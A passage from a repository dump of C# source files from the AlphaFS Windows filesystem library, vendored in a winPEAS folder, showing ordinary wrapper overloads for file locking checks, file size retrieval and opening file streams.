Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets a list of processes that have a lock on the files specified by . /// /// null when no processes found that are locking the file specified by . /// A list of processes locking the file specified by . /// /// /// /// /// /// The operating system is older than Windows Vista. /// The path to the file. public static Collection GetProcessForFileLock(string filePath) { return GetProcessForFileLockCore(null, new Collection(new[] {filePath}), PathFormat.RelativePath); } /// [AlphaFS] Gets a list of processes that have a lock on the files specified by . /// /// null when no processes found that are locking the file specified by . /// A list of processes locking the file specified by . /// /// /// /// /// /// The operating system is older than Windows Vista. /// The path to the file. /// Indicates the format of the path parameter(s). public static Collection GetProcessForFileLock(string filePath, PathFormat pathFormat) { return GetProcessForFileLockCore(null, new Collection(new[] {filePath}), pathFormat); } /// [AlphaFS] Gets a list of processes that have a lock on the file(s) specified by . /// /// null when no processes found that are locking the file(s) specified by . /// A list of processes locking the file(s) specified by . /// /// /// /// /// /// The operating system is older than Windows Vista. /// A list with one or more file paths. public static Collection GetProcessForFileLock(Collection filePaths) { return GetProcessForFileLockCore(null, filePaths, PathFormat.RelativePath); } /// [AlphaFS] Gets a list of processes that have a lock on the file(s) specified by . /// /// null when no processes found that are locking the file(s) specified by . /// A list of processes locking the file(s) specified by . /// /// /// /// /// /// The operating system is older than Windows Vista. /// A list with one or more file paths. /// Indicates the format of the path parameter(s). public static Collection GetProcessForFileLock(Collection filePaths, PathFormat pathFormat) { return GetProcessForFileLockCore(null, filePaths, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetProcessForFileLockTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.ObjectModel; using System.Diagnostics; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets a list of processes that have a lock on the files specified by . /// /// null when no processes found that are locking the file specified by . /// A list of processes locking the file specified by . /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The path to the file. public static Collection GetProcessForFileLockTransacted(KernelTransaction transaction, string filePath) { return GetProcessForFileLockCore(transaction, new Collection(new[] { filePath }), PathFormat.RelativePath); } /// [AlphaFS] Gets a list of processes that have a lock on the files specified by . /// /// null when no processes found that are locking the file specified by . /// A list of processes locking the file specified by . /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The path to the file. /// Indicates the format of the path parameter(s). public static Collection GetProcessForFileLockTransacted(KernelTransaction transaction, string filePath, PathFormat pathFormat) { return GetProcessForFileLockCore(transaction, new Collection(new[] { filePath }), pathFormat); } /// [AlphaFS] Gets a list of processes that have a lock on the file(s) specified by . /// /// null when no processes found that are locking the file(s) specified by . /// A list of processes locking the file(s) specified by . /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// A list with one or more file paths. public static Collection GetProcessForFileLockTransacted(KernelTransaction transaction, Collection filePaths) { return GetProcessForFileLockCore(transaction, filePaths, PathFormat.RelativePath); } /// [AlphaFS] Gets a list of processes that have a lock on the file(s) specified by . /// /// null when no processes found that are locking the file(s) specified by . /// A list of processes locking the file(s) specified by . /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// A list with one or more file paths. /// Indicates the format of the path parameter(s). public static Collection GetProcessForFileLockTransacted(KernelTransaction transaction, Collection filePaths, PathFormat pathFormat) { return GetProcessForFileLockCore(transaction, filePaths, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetSize.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Retrieves the size of the specified file. /// The file size, in bytes. /// The path to the file. [SecurityCritical] public static long GetSize(string path) { return GetSizeCore(null, null, path, false, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the size of the specified file. /// The file size, in bytes. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long GetSize(string path, PathFormat pathFormat) { return GetSizeCore(null, null, path, false, pathFormat); } /// [AlphaFS] Retrieves the size of the specified file. /// The file size of the first or all streams, in bytes. /// The path to the file. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. [SecurityCritical] public static long GetSize(string path, bool sizeOfAllStreams) { return GetSizeCore(null, null, path, sizeOfAllStreams, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the size of the specified file. /// The file size of the first or all streams, in bytes. /// The path to the file. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long GetSize(string path, bool sizeOfAllStreams, PathFormat pathFormat) { return GetSizeCore(null, null, path, sizeOfAllStreams, pathFormat); } /// [AlphaFS] Retrieves the size of the specified file. /// The file size, in bytes. /// The to the file. [SecurityCritical] public static long GetSize(SafeFileHandle handle) { return GetSizeCore(handle, null, null, false, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetSizeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Retrieves the size of the specified file. /// The file size, in bytes. /// The transaction. /// The path to the file. [SecurityCritical] public static long GetSizeTransacted(KernelTransaction transaction, string path) { return GetSizeCore(null, transaction, path, false, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the size of the specified file. /// The file size, in bytes. /// The transaction. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long GetSizeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetSizeCore(null, transaction, path, false, pathFormat); } /// [AlphaFS] Retrieves the size of the specified file. /// The file size of the first or all streams, in bytes. /// The transaction. /// The path to the file. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. [SecurityCritical] public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams) { return GetSizeCore(null, transaction, path, sizeOfAllStreams, PathFormat.RelativePath); } /// [AlphaFS] Retrieves the size of the specified file. /// The file size of the first or all streams, in bytes. /// The transaction. /// The path to the file. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. /// Indicates the format of the path parameter(s). [SecurityCritical] public static long GetSizeTransacted(KernelTransaction transaction, string path, bool sizeOfAllStreams, PathFormat pathFormat) { return GetSizeCore(null, transaction, path, sizeOfAllStreams, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.IsLocked.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Determines whether the specified file is in use (locked). /// Returns true if the specified file is in use (locked); otherwise, false /// /// /// The file to check. [SecurityCritical] public static bool IsLocked(string path) { return IsLockedCore(null, path, PathFormat.RelativePath); } /// [AlphaFS] Determines whether the specified file is in use (locked). /// Returns true if the specified file is in use (locked); otherwise, false /// /// /// /// The file to check. /// Indicates the format of the path parameter(s). [SecurityCritical] public static bool IsLocked(string path, PathFormat pathFormat) { return IsLockedCore(null, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.IsLockedTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Determines whether the specified file is in use (locked). /// Returns true if the specified file is in use (locked); otherwise, false /// /// /// /// The transaction. /// The file to check. [SecurityCritical] public static bool IsLockedTransacted(KernelTransaction transaction, string path) { return IsLockedCore(transaction, path, PathFormat.RelativePath); } /// [AlphaFS] Determines whether the specified file is in use (locked). /// Returns true if the specified file is in use (locked); otherwise, false /// /// /// /// The transaction. /// The file to check. /// Indicates the format of the path parameter(s). [SecurityCritical] public static bool IsLockedTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return IsLockedCore(transaction, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.Open.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; using System.Security.AccessControl; using FileStream = System.IO.FileStream; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region Using FileAccess #region .NET /// Opens a on the specified path with read/write access. /// The file to open. /// A value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten. /// A opened in the specified mode and path, with read/write access and not shared. [SecurityCritical] public static FileStream Open(string path, FileMode mode) { return OpenCore(null, path, mode, mode == FileMode.Append ? FileAccess.Write : FileAccess.ReadWrite, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath); } /// Opens a on the specified path, with the specified mode and access. /// The file to open. /// A value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten. /// A value that specifies the operations that can be performed on the file. /// An unshared that provides access to the specified file, with the specified mode and access. [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access) { return OpenCore(null, path, mode, access, FileShare.None, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath); } /// Opens a on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option. /// The file to open. /// A value that specifies whether a file is created if one does not exist, and determines whether the contents of existing files are retained or overwritten. /// A value that specifies the operations that can be performed on the file. /// A value specifying the type of access other threads have to the file. /// A on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option. [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share) { return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal, null, null, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Opens a on the specified path with read/write access. /// The file to open. /// /// A value that specifies whether a file is created if one does not exist, and determines whether the contents /// of existing files are retained or overwritten. /// /// Indicates the format of the path parameter(s). /// A opened in the specified mode and path, with read/write access and not shared. [SecurityCritical] public static FileStream Open(string path, FileMode mode, PathFormat pathFormat) { return OpenCore(null, path, mode, mode == FileMode.Append ? FileAccess.Write : FileAccess.ReadWrite, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat); } /// [AlphaFS] Opens a on the specified path, with the specified mode and access. /// The file to open. /// /// A value that specifies whether a file is created if one does not exist, and determines whether the contents /// of existing files are retained or overwritten. /// /// A value that specifies the operations that can be performed on the file. /// Indicates the format of the path parameter(s). /// /// An unshared that provides access to the specified file, with the specified mode and access. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, PathFormat pathFormat) { return OpenCore(null, path, mode, access, FileShare.None, ExtendedFileAttributes.Normal, null, null, pathFormat); } /// [AlphaFS] Opens a on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option. /// The file to open. /// /// A value that specifies whether a file is created if one does not exist, and determines whether the contents /// of existing files are retained or overwritten. /// /// A value that specifies the operations that can be performed on the file. /// A value specifying the type of access other threads have to the file. /// Indicates the format of the path parameter(s). /// /// A on the specified path, having the specified mode with read, write, or read/write access and the /// specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, PathFormat pathFormat) { return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal, null, null, pathFormat); } /// [AlphaFS] Opens a on the specified path, having the specified mode with read, write, or read/write access and the specified sharing option. /// The file to open. /// /// A value that specifies whether a file is created if one does not exist, and determines whether the contents /// of existing files are retained or overwritten. /// /// A value that specifies the operations that can be performed on the file. /// A value specifying the type of access other threads have to the file. /// The extended attributes. /// Indicates the format of the path parameter(s). /// /// A on the specified path, having the specified mode with read, write, or read/write access and the /// specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat) { return OpenCore(null, path, mode, access, share, extendedAttributes, null, null, pathFormat); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The default buffer size is 4096. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize) { return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal, bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Specifies whether to use asynchronous I/O or synchronous I/O. However, note that the /// underlying operating system might not support asynchronous I/O, so when specifying true, the handle might be /// opened synchronously depending on the platform. When opened asynchronously, the BeginRead and BeginWrite methods /// perform better on large reads or writes, but they might be much slower for small reads or writes. If the /// application is designed to take advantage of asynchronous I/O, set the useAsync parameter to true. Using /// asynchronous I/O correctly can speed up applications by as much as a factor of 10, but using it without /// redesigning the application for asynchronous I/O can decrease performance by as much as a factor of 10. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, bool useAsync) { return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal | (useAsync ? ExtendedFileAttributes.Overlapped : ExtendedFileAttributes.Normal), bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options) { return OpenCore(null, path, mode, access, share, (ExtendedFileAttributes) options, bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// The extended attributes specifying additional options. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes) { return OpenCore(null, path, mode, access, share, extendedAttributes, bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, PathFormat pathFormat) { return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal, bufferSize, null, pathFormat); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Specifies whether to use asynchronous I/O or synchronous I/O. However, note that the /// underlying operating system might not support asynchronous I/O, so when specifying true, the handle might be /// opened synchronously depending on the platform. When opened asynchronously, the BeginRead and BeginWrite methods /// perform better on large reads or writes, but they might be much slower for small reads or writes. If the /// application is designed to take advantage of asynchronous I/O, set the useAsync parameter to true. Using /// asynchronous I/O correctly can speed up applications by as much as a factor of 10, but using it without /// redesigning the application for asynchronous I/O can decrease performance by as much as a factor of 10. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, bool useAsync, PathFormat pathFormat) { return OpenCore(null, path, mode, access, share, ExtendedFileAttributes.Normal | (useAsync ? ExtendedFileAttributes.Overlapped : ExtendedFileAttributes.Normal), bufferSize, null, pathFormat); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options, PathFormat pathFormat) { return OpenCore(null, path, mode, access, share, (ExtendedFileAttributes) options, bufferSize, null, pathFormat); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// The extended attributes specifying additional options. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileAccess access, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat) { return OpenCore(null, path, mode, access, share, extendedAttributes, bufferSize, null, pathFormat); } #endregion // Using FileAccess #region Using FileSystemRights /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options) { return OpenCore(null, path, mode, rights, share, (ExtendedFileAttributes)options, bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Extended attributes specifying additional options. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes) { return OpenCore(null, path, mode, rights, share, extendedAttributes, bufferSize, null, PathFormat.RelativePath); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// A value that determines the access control and audit security for the file. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, FileSecurity security) { return OpenCore(null, path, mode, rights, share, (ExtendedFileAttributes)options, bufferSize, security, PathFormat.RelativePath); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Extended attributes specifying additional options. /// A value that determines the access control and audit security for the file. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, FileSecurity security) { return OpenCore(null, path, mode, rights, share, extendedAttributes, bufferSize, security, PathFormat.RelativePath); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, PathFormat pathFormat) { return OpenCore(null, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, null, pathFormat); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, read/write and sharing permission, and buffer size. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Extended attributes specifying additional options. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, PathFormat pathFormat) { return OpenCore(null, path, mode, rights, share, extendedAttributes, bufferSize, null, pathFormat); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, access rights and sharing permission, the buffer size, additional file options, access control and audit security. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// A value that specifies additional file options. /// A value that determines the access control and audit security for the file. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, FileOptions options, FileSecurity security, PathFormat pathFormat) { return OpenCore(null, path, mode, rights, share, (ExtendedFileAttributes) options, bufferSize, security, pathFormat); } /// [AlphaFS] Opens a on the specified path using the specified creation mode, access rights and sharing permission, the buffer size, additional file options, access control and audit security. /// The file to open. /// A constant that determines how to open or create the file. /// A value that specifies the operations that can be performed on the /// file. /// A constant that determines how the file will be shared by processes. /// A positive value greater than 0 indicating the buffer size. The /// default buffer size is 4096. /// Extended attributes specifying additional options. /// A value that determines the access control and audit security for the file. /// Indicates the format of the path parameter. /// /// A on the specified path, having the specified mode with read, write, or read/write /// access and the specified sharing option. /// [SecurityCritical] public static FileStream Open(string path, FileMode mode, FileSystemRights rights, FileShare share, int bufferSize, ExtendedFileAttributes extendedAttributes, FileSecurity security, PathFormat pathFormat) { return OpenCore(null, path, mode, rights, share, extendedAttributes, bufferSize, security, pathFormat); } #endregion // Using FileSystemRights } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.OpenBackupRead.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the 